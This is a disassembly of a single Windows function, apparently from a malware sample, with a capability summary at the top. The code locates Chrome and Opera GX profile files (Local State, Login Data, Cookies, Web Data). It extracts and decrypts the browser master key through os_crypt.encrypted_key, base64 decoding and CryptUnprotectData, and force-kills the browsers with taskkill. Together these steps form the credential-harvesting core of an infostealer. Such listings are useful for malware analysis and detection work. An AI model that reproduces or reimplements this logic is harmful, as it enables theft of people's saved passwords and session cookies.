Function at 0x402b30
Capabilities:
Check if file exists
Encrypt data using dpapi
Get file attributes
Get session user name

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x495920
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x4c8
mov eax, dword [0x4b3440]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1cc]
mov dword [ebp - 0x1cc], 0x104
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1ec], 0
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x1e8], 0
movups xmmword [ebp - 0x1fc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402bb6
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x1fc]
call fcn.00406bd0
mov ecx, dword [ebp - 0x1ec]
mov esi, bind
mov eax, esi
sub eax, ecx
cmp eax, 9
jb 0x4040da
cmp dword [ebp - 0x1e8], 0xf
lea eax, [ebp - 0x1fc]
push ecx
cmova eax, dword [ebp - 0x1fc]
push eax
push 9
push str.C:Users_
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x138]
call fcn.00407b60
mov edx, dword [ebp - 0x124]
mov eax, edx
mov ecx, dword [ebp - 0x128]
sub eax, ecx
cmp eax, 1
jb 0x402c55
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x138]
cmova eax, dword [ebp - 0x138]
mov word [eax + ecx], 0x5c
lea eax, [ebp - 0x138]
jmp 0x402c76
push 1
push 0x4ad3b4
mov byte [ebp - 0x4c8], 0
lea ecx, [ebp - 0x138]
push dword [ebp - 0x4c8]
push 1
call fcn.00406e00
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1e4], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x124]
movq qword [ebp - 0x1d4], xmm0
cmp ecx, 0xf
jbe 0x402cd8
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402cce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040df
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x1d4]
mov eax, esi
sub eax, ecx
cmp eax, 0x2f
jb 0x4040da
cmp dword [ebp - 0x1d0], 0xf
lea eax, [ebp - 0x1e4]
push 0x2f
cmova eax, dword [ebp - 0x1e4]
push str.AppDataRoamingOpera_SoftwareOpera_GX_Stable
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x180]
call fcn.00407b60
mov ecx, dword [ebp - 0x1d4]
mov eax, esi
sub eax, ecx
cmp eax, 0x26
jb 0x4040da
cmp dword [ebp - 0x1d0], 0xf
lea eax, [ebp - 0x1e4]
push 0x26
cmova eax, dword [ebp - 0x1e4]
push str.AppDataLocalGoogleChromeUser_Data
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x168]
call fcn.00407b60
mov ecx, dword [ebp - 0x170]
mov eax, esi
sub eax, ecx
cmp eax, 0xc
jb 0x4040da
cmp dword [ebp - 0x16c], 0xf
lea eax, [ebp - 0x180]
push 0xc
cmova eax, dword [ebp - 0x180]
push str.Local_State
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x22c]
call fcn.00407b60
mov ecx, dword [ebp - 0x158]
mov eax, esi
sub eax, ecx
cmp eax, 0xc
jb 0x4040da
cmp dword [ebp - 0x154], 0xf
lea eax, [ebp - 0x168]
push 0xc
cmova eax, dword [ebp - 0x168]
push str.Local_State
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x214]
call fcn.00407b60
mov ecx, dword [ebp - 0x170]
mov eax, esi
sub eax, ecx
cmp eax, 0x10
jb 0x4040da
cmp dword [ebp - 0x16c], 0xf
lea eax, [ebp - 0x180]
push 0x10
cmova eax, dword [ebp - 0x180]
push str.NetworkCookies
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x328]
call fcn.00407b60
mov ecx, dword [ebp - 0x158]
mov eax, esi
sub eax, ecx
cmp eax, 0x18
jb 0x4040da
cmp dword [ebp - 0x154], 0xf
lea eax, [ebp - 0x168]
push 0x18
cmova eax, dword [ebp - 0x168]
push str.DefaultNetworkCookies
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x310]
call fcn.00407b60
mov ecx, dword [ebp - 0x170]
mov eax, esi
sub eax, ecx
cmp eax, 0xb
jb 0x4040da
cmp dword [ebp - 0x16c], 0xf
lea eax, [ebp - 0x180]
push 0xb
cmova eax, dword [ebp - 0x180]
push str.Login_Data
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x2f8]
call fcn.00407b60
mov ecx, dword [ebp - 0x158]
mov eax, esi
sub eax, ecx
cmp eax, 0x13
jb 0x4040da
cmp dword [ebp - 0x154], 0xf
lea eax, [ebp - 0x168]
push 0x13
cmova eax, dword [ebp - 0x168]
push str.DefaultLogin_Data
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x2e0]
call fcn.00407b60
mov ecx, dword [ebp - 0x170]
mov eax, esi
sub eax, ecx
cmp eax, 9
jb 0x4040da
cmp dword [ebp - 0x16c], 0xf
lea eax, [ebp - 0x180]
push 9
cmova eax, dword [ebp - 0x180]
push str.Web_Data
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x2c8]
call fcn.00407b60
mov ecx, dword [ebp - 0x158]
sub esi, ecx
cmp esi, 0x11
jb 0x4040da
cmp dword [ebp - 0x154], 0xf
lea eax, [ebp - 0x168]
push 0x11
cmova eax, dword [ebp - 0x168]
push str.DefaultWeb_Data
push ecx
push eax
push ecx
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x2b0]
call fcn.00407b60
cmp dword [ebp - 0x154], 0xf
lea eax, [ebp - 0x168]
cmova eax, dword [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402f92
test al, 0x10
je 0x402f92
mov al, 1
jmp 0x402f94
xor al, al
test al, al
je 0x4037e0
push 0xb8
xorps xmm0, xmm0
mov dword [ebp - 0x1b8], 0
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x1b4], 0xf
push 0
movups xmmword [ebp - 0x1c8], xmm0
push eax
mov byte [ebp - 0x1c8], 0
call fcn.0046d0a0
cmp dword [ebp - 0x200], 0xf
lea eax, [ebp - 0x214]
lea ecx, [ebp - 0x3e0]
cmova eax, dword [ebp - 0x214]
push eax
call fcn.004058a0
mov eax, dword [ebp - 0x3e0]
xorps xmm0, xmm0
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov eax, dword [eax + 4]
mov byte [ebp - 0x138], 0
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3e4], eax
mov eax, dword [ebp - 0x3e0]
mov eax, dword [eax + 4]
mov eax, dword [ebp + eax - 0x3b0]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x4bc], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x4c0]
push eax
call fcn.004064a0
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov ecx, dword [ebp - 0x4bc]
mov byte [ebp - 0x4c8], al
test ecx, ecx
je 0x40309b
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x40309b
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [ebp - 0x4c8]
lea edx, [ebp - 0x138]
lea ecx, [ebp - 0x3e0]
call fcn.0040af70
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x40313d
cmp dword [ebp - 0x124], 0xf
lea ecx, [ebp - 0x138]
mov esi, dword [ebp - 0x1b4]
mov eax, esi
cmova ecx, dword [ebp - 0x138]
mov edx, dword [ebp - 0x1b8]
sub eax, edx
mov edi, dword [ebp - 0x128]
push edi
push ecx
cmp edi, eax
ja 0x40311f
lea eax, [edx + edi]
cmp esi, 0xf
mov dword [ebp - 0x1b8], eax
lea eax, [ebp - 0x1c8]
cmova eax, dword [ebp - 0x1c8]
lea esi, [eax + edx]
push esi
call fcn.0046d330
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x403040
mov byte [ebp - 0x4cc], 0
lea ecx, [ebp - 0x1c8]
push dword [ebp - 0x4cc]
push edi
call fcn.00406e00
jmp 0x403040
lea ecx, [ebp - 0x3d0]
call fcn.004057c0
test eax, eax
jne 0x403175
mov eax, dword [ebp - 0x3e0]
lea ecx, [ebp - 0x3e0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401cd0
sub esp, 0x28
lea edx, [ebp - 0x1c8]
mov eax, esp
lea ecx, [ebp - 0x288]
sub esp, 8
mov dword [eax + 0x24], 0
call fcn.00406780
add esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 8
movups xmmword [ecx], xmm0
push str.os_crypt
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406bd0
lea ecx, [ebp - 0x288]
call fcn.00407890
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
mov esi, eax
push 0xd
movups xmmword [ecx], xmm0
push str.encrypted_key
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406bd0
mov ecx, esi
call fcn.00407890
lea ecx, [ebp - 0x198]
push ecx
mov ecx, eax
call fcn.00406890
mov edx, dword [ebp - 0x188]
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x4c8], edx
xor edi, edi
mov dword [ebp - 0x4cc], ecx
xor esi, esi
mov dword [ebp - 0x4a4], ecx
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], esi
mov dword [ebp - 0x49c], edi
mov dword [ebp - 0x13c], edi
test edx, edx
je 0x403523
mov edi, dword [ebp - 0x184]
mov edx, dword [ebp - 0x198]
mov eax, dword [ebp - 0x4c8]
nop dword [eax]
mov ecx, dword [ebp - 0x4a4]
dec eax
cmp edi, 0xf
mov dword [ebp - 0x4c8], eax
lea eax, [ebp - 0x198]
cmova eax, edx
seta byte [ebp - 0x4d1]
cmp byte [eax + ecx], 0x3d
mov ecx, dword [ebp - 0x4cc]
je 0x4033f0
cmp byte [ebp - 0x4d1], 0
lea eax, [ebp - 0x198]
mov edi, dword [ebp - 0x4a4]
cmovne eax, edx
inc dword [ebp - 0x4a4]
mov al, byte [eax + edi]
mov edi, dword [ebp - 0x184]
mov byte [ebp + ecx - 0x4c4], al
inc ecx
mov dword [ebp - 0x4cc], ecx
cmp ecx, 4
jne 0x4033e2
mov ecx, dword [0x4b53f8]
xor eax, eax
mov dword [ebp - 0x4cc], eax
nop word [eax + eax]
lea edi, [ebp - 0x4c4]
add eax, edi
cmp dword [0x4b53fc], 0xf
mov edi, 0x4b53e8
mov dword [ebp - 0x4bc], eax
cmova edi, dword [0x4b53e8]
mov al, byte [eax]
test ecx, ecx
je 0x40331d
push ecx
movsx eax, al
push eax
push edi
call fcn.0046d9f0
add esp, 0xc
test eax, eax
je 0x40331d
sub eax, edi
jmp 0x403320
or eax, 0xffffffff
mov ecx, dword [ebp - 0x4bc]
mov byte [ecx], al
mov eax, dword [ebp - 0x4cc]
mov ecx, dword [0x4b53f8]
inc eax
mov dword [ebp - 0x4cc], eax
cmp eax, 4
jb 0x4032e0
mov eax, dword [ebp - 0x4c4]
mov cl, al
shl cl, 2
mov dl, ah
shr dl, 4
mov al, ah
and dl, 3
shl al, 4
add dl, cl
mov byte [ebp - 0x4d0], dl
mov dl, byte [ebp - 0x4c2]
mov cl, dl
shl dl, 6
add dl, byte [ebp - 0x4c1]
shr cl, 2
and cl, 0xf
mov byte [ebp - 0x4ce], dl
add cl, al
xor edi, edi
mov byte [ebp - 0x4cf], cl
mov ecx, dword [ebp - 0x49c]
nop dword [eax]
lea eax, [ebp - 0x4d0]
add eax, edi
cmp esi, ecx
je 0x4033a9
mov al, byte [eax]
mov byte [esi], al
inc esi
mov dword [ebp - 0x140], esi
jmp 0x4033c2
push eax
push esi
lea ecx, [ebp - 0x144]
call fcn.0040b3c0
mov ecx, dword [ebp - 0x13c]
mov esi, dword [ebp - 0x140]
inc edi
cmp edi, 3
jb 0x403390
mov edi, dword [ebp - 0x184]
mov edx, dword [ebp - 0x198]
mov dword [ebp - 0x49c], ecx
xor ecx, ecx
mov dword [ebp - 0x4cc], ecx
mov eax, dword [ebp - 0x4c8]
test eax, eax
jne 0x403260
test ecx, ecx
je 0x403511
mov eax, ecx
cmp ecx, 4
jae 0x40340e
nop
mov byte [ebp + eax - 0x4c4], 0
inc eax
cmp eax, 4
jb 0x403400
mov ecx, dword [0x4b53f8]
xor eax, eax
mov dword [ebp - 0x4c8], eax
nop dword [eax]
lea edi, [ebp - 0x4c4]
add eax, edi
cmp dword [0x4b53fc], 0xf
mov edi, 0x4b53e8
mov dword [ebp - 0x4bc], eax
cmova edi, dword [0x4b53e8]
mov al, byte [eax]
test ecx, ecx
je 0x40345d
push ecx
movsx eax, al
push eax
push edi
call fcn.0046d9f0
add esp, 0xc
test eax, eax
je 0x40345d
sub eax, edi
jmp 0x403460
or eax, 0xffffffff
mov ecx, dword [ebp - 0x4bc]
mov byte [ecx], al
mov eax, dword [ebp - 0x4c8]
mov ecx, dword [0x4b53f8]
inc eax
mov dword [ebp - 0x4c8], eax
cmp eax, 4
jb 0x403420
mov eax, dword [ebp - 0x4c4]
xor edi, edi
mov dl, ah
mov cl, al
shl cl, 2
mov al, ah
shr dl, 4
and dl, 3
shl al, 4
add dl, cl
mov cl, byte [ebp - 0x4c2]
shr cl, 2
and cl, 0xf
mov byte [ebp - 0x4d0], dl
add cl, al
mov eax, dword [ebp - 0x4cc]
add eax, 0xffffffff
mov byte [ebp - 0x4cf], cl
mov dword [ebp - 0x4bc], eax
je 0x403511
mov ecx, dword [ebp - 0x49c]
nop dword [eax]
lea eax, [ebp - 0x4d0]
add eax, edi
cmp esi, ecx
je 0x4034e9
mov al, byte [eax]
mov byte [esi], al
inc esi
mov dword [ebp - 0x140], esi
jmp 0x403502
push eax
push esi
lea ecx, [ebp - 0x144]
call fcn.0040b3c0
mov ecx, dword [ebp - 0x13c]
mov esi, dword [ebp - 0x140]
inc edi
cmp edi, dword [ebp - 0x4bc]
jb 0x4034d0
mov dword [ebp - 0x49c], ecx
mov eax, dword [ebp - 0x144]
mov edi, dword [ebp - 0x49c]
mov dword [ebp - 0x4c4], eax
lea ecx, [eax + 5]
cmp eax, ecx
je 0x40353f
sub esi, ecx
push esi
push ecx
push eax
call fcn.0046d330
mov eax, dword [ebp - 0x4c4]
add esp, 0xc
add esi, eax
sub esi, eax
mov dword [ebp - 0x4b4], eax
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0x4b8], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4b8]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
push dword [ebp - 0x4b0]
mov edx, dword [ebp - 0x4ac]
lea ecx, [ebp - 0x244]
call fcn.004025a0
sub esp, 0x14
lea eax, [ebp - 0x244]
mov ecx, esp
push eax
call fcn.004052c0
call fcn.00402900
lea eax, [ebp - 0x2e0]
mov ecx, esp
push eax
call fcn.004052c0
call fcn.00402820
lea eax, [ebp - 0x2b0]
mov ecx, esp
push eax
call fcn.004052c0
call fcn.00402820
push str.taskkill__f__im_chrome.exe
call fcn.004756b0
add esp, 0x1c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.004052c0
call fcn.00402820
mov ecx, dword [ebp - 0x230]
add esp, 0x18
cmp ecx, 0xf
jbe 0x403629
mov edx, dword [ebp - 0x244]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40361f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e4
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x4c4]
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x230], 0xf
mov byte [ebp - 0x244], 0
test ecx, ecx
je 0x403678
sub edi, ecx
mov eax, ecx
cmp edi, 0x1000
jb 0x40366e
mov ecx, dword [eax - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e4
push edi
push ecx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x184]
cmp ecx, 0xf
jbe 0x4036b2
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4036a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e4
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 0xf
mov byte [ebp - 0x198], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x280]
push dword [ebp - 0x288]
call fcn.00405e60
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x403726
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40371c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e4
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov eax, dword [ebp - 0x3e0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3e4], eax
lea ecx, [ebp - 0x3d0]
call fcn.00404d20
mov eax, dword [ebp - 0x3e0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x3e4], eax
lea eax, [ebp - 0x370]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0046b1a6
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0xf
jbe 0x4037e0
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4037d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e4
push ecx
push edx
call fcn.0046bf4a
add esp, 8
cmp dword [ebp - 0x16c], 0xf
lea eax, [ebp - 0x180]
cmova eax, dword [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403808
test al, 0x10
je 0x403808
mov al, 1
jmp 0x40380a
xor al, al
test al, al
je 0x403d9c
push 0xb8
xorps xmm0, xmm0
mov dword [ebp - 0x1a0], 0
lea eax, [ebp - 0x498]
mov dword [ebp - 0x19c], 0xf
push 0
movups xmmword [ebp - 0x1b0], xmm0
push eax
mov byte [ebp - 0x1b0], 0
call fcn.0046d0a0
cmp dword [ebp - 0x218], 0xf
lea eax, [ebp - 0x22c]
lea ecx, [ebp - 0x498]
cmova eax, dword [ebp - 0x22c]
push eax
call fcn.004058a0
mov eax, dword [ebp - 0x498]
xorps xmm0, xmm0
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov eax, dword [eax + 4]
mov byte [ebp - 0x138], 0
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x498]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x49c], eax
nop word [eax + eax]
mov eax, dword [ebp - 0x498]
mov eax, dword [eax + 4]
mov eax, dword [ebp + eax - 0x468]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x4ac], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x4b0]
push eax
call fcn.004064a0
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov ecx, dword [ebp - 0x4ac]
mov byte [ebp - 0x4bc], al
test ecx, ecx
je 0x40391b
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x40391b
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [ebp - 0x4bc]
lea edx, [ebp - 0x138]
lea ecx, [ebp - 0x498]
call fcn.0040af70
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x4039bd
cmp dword [ebp - 0x124], 0xf
lea ecx, [ebp - 0x138]
mov esi, dword [ebp - 0x19c]
mov eax, esi
cmova ecx, dword [ebp - 0x138]
mov edx, dword [ebp - 0x1a0]
sub eax, edx
mov edi, dword [ebp - 0x128]
push edi
push ecx
cmp edi, eax
ja 0x40399f
lea eax, [edx + edi]
cmp esi, 0xf
mov dword [ebp - 0x1a0], eax
lea eax, [ebp - 0x1b0]
cmova eax, dword [ebp - 0x1b0]
lea esi, [eax + edx]
push esi
call fcn.0046d330
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x4038c0
mov byte [ebp - 0x4c8], 0
lea ecx, [ebp - 0x1b0]
push dword [ebp - 0x4c8]
push edi
call fcn.00406e00
jmp 0x4038c0
lea ecx, [ebp - 0x488]
call fcn.004057c0
test eax, eax
jne 0x4039f5
mov eax, dword [ebp - 0x498]
lea ecx, [ebp - 0x498]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401cd0
sub esp, 0x28
lea edx, [ebp - 0x1b0]
mov eax, esp
lea ecx, [ebp - 0x298]
sub esp, 8
mov dword [eax + 0x24], 0
call fcn.00406780
add esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 8
movups xmmword [ecx], xmm0
push str.os_crypt
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406bd0
lea ecx, [ebp - 0x298]
call fcn.00407890
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
mov esi, eax
push 0xd
movups xmmword [ecx], xmm0
push str.encrypted_key
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406bd0
mov ecx, esi
call fcn.00407890
lea ecx, [ebp - 0x274]
push ecx
mov ecx, eax
call fcn.00406890
xorps xmm0, xmm0
mov dword [ebp - 0x148], 0
lea edx, [ebp - 0x274]
movq qword [ebp - 0x150], xmm0
lea ecx, [ebp - 0x150]
call fcn.00402360
mov edi, dword [ebp - 0x150]
lea eax, [edi + 5]
cmp edi, eax
je 0x403ad8
mov esi, dword [ebp - 0x14c]
sub esi, eax
push esi
push eax
push edi
call fcn.0046d330
lea eax, [esi + edi]
add esp, 0xc
mov edi, dword [ebp - 0x150]
mov dword [ebp - 0x14c], eax
jmp 0x403ade
mov eax, dword [ebp - 0x14c]
sub eax, edi
mov dword [ebp - 0x4a4], edi
mov dword [ebp - 0x4a8], eax
lea eax, [ebp - 0x4a0]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4a8]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
push dword [ebp - 0x4a0]
mov edx, dword [ebp - 0x49c]
lea ecx, [ebp - 0x25c]
call fcn.004025a0
sub esp, 0x14
lea eax, [ebp - 0x25c]
mov ecx, esp
push eax
call fcn.004052c0
call fcn.00402900
lea eax, [ebp - 0x2f8]
mov ecx, esp
push eax
call fcn.004052c0
call fcn.00402820
lea eax, [ebp - 0x2c8]
mov ecx, esp
push eax
call fcn.004052c0
call fcn.00402820
push str.taskkill__f__im_opera.exe
call fcn.004756b0
add esp, 0x1c
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
lea eax, [ebp - 0x328]
mov ecx, esp
push eax
call fcn.004052c0
call fcn.00402820
mov ecx, dword [ebp - 0x248]
add esp, 0x18
cmp ecx, 0xf
jbe 0x403bc8
mov edx, dword [ebp - 0x25c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403bbe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e9
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x150]
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0xf
mov byte [ebp - 0x25c], 0
test ecx, ecx
je 0x403c3b
mov edx, dword [ebp - 0x148]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x403c13
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e9
push edx
push ecx
call fcn.0046bf4a
add esp, 8
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0
mov ecx, dword [ebp - 0x260]
cmp ecx, 0xf
jbe 0x403c75
mov edx, dword [ebp - 0x274]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403c6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e9
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x260], 0xf
mov byte [ebp - 0x274], 0
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x290]
push dword [ebp - 0x298]
call fcn.00405e60
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x403ce9
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403cdf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e9
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov eax, dword [ebp - 0x498]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x498]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x49c], eax
lea ecx, [ebp - 0x488]
call fcn.00404d20
mov eax, dword [ebp - 0x498]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x498]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x49c], eax
lea eax, [ebp - 0x428]
mov dword [ebp - 4], 3
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0046b1a6
mov ecx, dword [ebp - 0x19c]
add esp, 4
cmp ecx, 0xf
jbe 0x403d9c
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403d92
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040e9
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x29c]
cmp ecx, 0xf
jbe 0x403dd6
mov edx, dword [ebp - 0x2b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403dcc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4040ee
push ecx
push edx
call fcn.0046bf4a
add esp, 8
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0xf
jbe 0x403e10
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e06
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
